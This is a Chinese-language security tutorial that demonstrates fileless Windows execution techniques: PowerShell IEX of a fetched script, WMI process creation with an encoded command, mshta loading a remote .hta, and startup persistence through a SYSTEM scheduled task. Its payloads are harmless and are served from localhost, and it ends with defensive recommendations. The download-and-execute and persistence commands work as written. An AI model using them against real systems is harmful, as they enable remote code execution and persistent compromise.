⚠️ 安全声明
- 请勿将这些技术用于非法入侵他人系统,否则后果自负。
- 以下 Demo 仅用于 理解攻击原理 和 自我防御加固。
📦 准备工作:搭建一个本地 HTTP 服务器(用于模拟“远程服务器”)
因为真正的攻击是从远程服务器获取脚本,我们可以在本机搭建一个简单的 HTTP 服务,提供脚本内容。这样既安全又符合原理。
使用 Python 快速搭建(如果你有 Python)
- 在该文件夹下创建一个
payload.txt 文件,内容为:Write-Host "Payload executed in memory!" -ForegroundColor Green
# 或者弹窗
[System.Windows.Forms.MessageBox]::Show('Hello from memory!')
- 在该文件夹中打开命令行,运行:
python -m http.server 8080
现在访问 http://localhost:8080/payload.txt 即可获取该文本。
如果你没有 Python,也可以用任何其他 HTTP 服务器,或者直接使用本地文件路径(但内存执行效果稍弱)。
🧪 Demo 1:PowerShell 内存执行远程脚本(无文件落地)
原理
使用 Invoke-Expression (或 IEX) 直接执行从 URL 获取的字符串,不保存到磁盘。
命令
在 PowerShell 中执行以下命令(请先启动 HTTP 服务器):
$script = (Invoke-WebRequest -Uri http://localhost:8080/payload.txt).Content
IEX $script
解析
Invoke-WebRequest 将远程文本内容下载到内存变量 $script 中。IEX(即 Invoke-Expression)直接在内存中执行该字符串。- 整个过程中,硬盘上没有任何新文件生成(除了 HTTP 服务器的日志,但那是服务端)。
验证
你会看到控制台输出绿色文字或弹窗(取决于你写的 payload 内容),证明代码已在内存中运行。
🧪 Demo 2:WMI 执行 PowerShell 脚本(远程控制模型)
原理
WMI(Windows Management Instrumentation)允许通过 Win32_Process 创建进程,我们可以通过 WMI 启动 PowerShell 并执行内存脚本。
步骤
- 在 PowerShell 中执行(管理员权限可能需要):
$script = (Invoke-WebRequest -Uri http://localhost:8080/payload.txt).Content
# 将脚本编码为 Base64(避免命令行转义问题)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
# 通过 WMI 创建进程
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -NoProfile -EncodedCommand $encoded"
解析
- WMI 创建了一个新的 PowerShell 进程,并将 Base64 编码的命令传递给它。
- 该进程启动后,直接在内存中解码并执行脚本,不会留下任何
.ps1 文件。 - 这个 Demo 模拟了攻击者远程触发命令执行的过程(WMI 可以远程调用,此处仅演示本地)。
🧪 Demo 3:MSHTA 执行 JavaScript(HTML 应用内存执行)
原理
mshta.exe 是 Windows 用于执行 .hta 文件的程序。它可以解析 HTML 和 VBScript/JavaScript,且可以在不保存文件的情况下通过 URL 直接运行。
步骤
- 在 HTTP 服务器根目录创建一个
payload.hta 文件(其实可以不用文件,但为了演示),内容为:<html>
<head>
<scriptlanguage="JavaScript">
alert('MSHTA 内存执行!');
// 甚至可以创建 ActiveX 对象做更多事情(但需用户确认)
</script>
</head>
<body></body>
</html>
- 在命令提示符或运行框中执行:
mshta http://localhost:8080/payload.hta
解析
mshta 下载 payload.hta 的内容并直接在内存中解释执行,不会在本地保存该 .hta 文件。
🧪 附加 Demo:无文件持久化(计划任务)
原理
利用计划任务实现重启后自动执行内存脚本(但每次仍会重新下载执行)。
命令(管理员权限)
$action = New-ScheduledTaskAction -Execute "powershell" -Argument "-NoProfile -Command `"IEX (Invoke-WebRequest -Uri http://localhost:8080/payload.txt).Content`""
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "TestMemoryExec" -Action $action -Trigger $trigger -User SYSTEM
解析
- 创建了一个开机启动的计划任务,它会在系统启动时运行 PowerShell,并从 HTTP 服务器获取脚本并在内存中执行。
🛡️ 防御建议
- 限制 PowerShell 执行策略:虽然
IEX 可以绕过,但可以启用 AppLocker 或 WDAC 限制可信脚本执行。 - 监控进程创建:使用 EDR 工具监控
powershell.exe、wmic.exe、mshta.exe 等常见离地攻击工具。 - 禁用不必要的功能:如非必要,可禁用 WMI 脚本执行或
mshta 的 Internet 访问。 - 用户教育:不执行陌生人发送的命令行,即使是“Ctrl+V”的简单操作。
✅ 结论
通过上述 Demo,你已验证了“不下载 .exe 文件,利用系统自带工具实现远程控制”的可行性。这些技术已被广泛用于真实攻击,理解它们有助于你更好地构建防御策略。
测试完毕后,请记得删除计划任务和停止 HTTP 服务,保持系统清洁。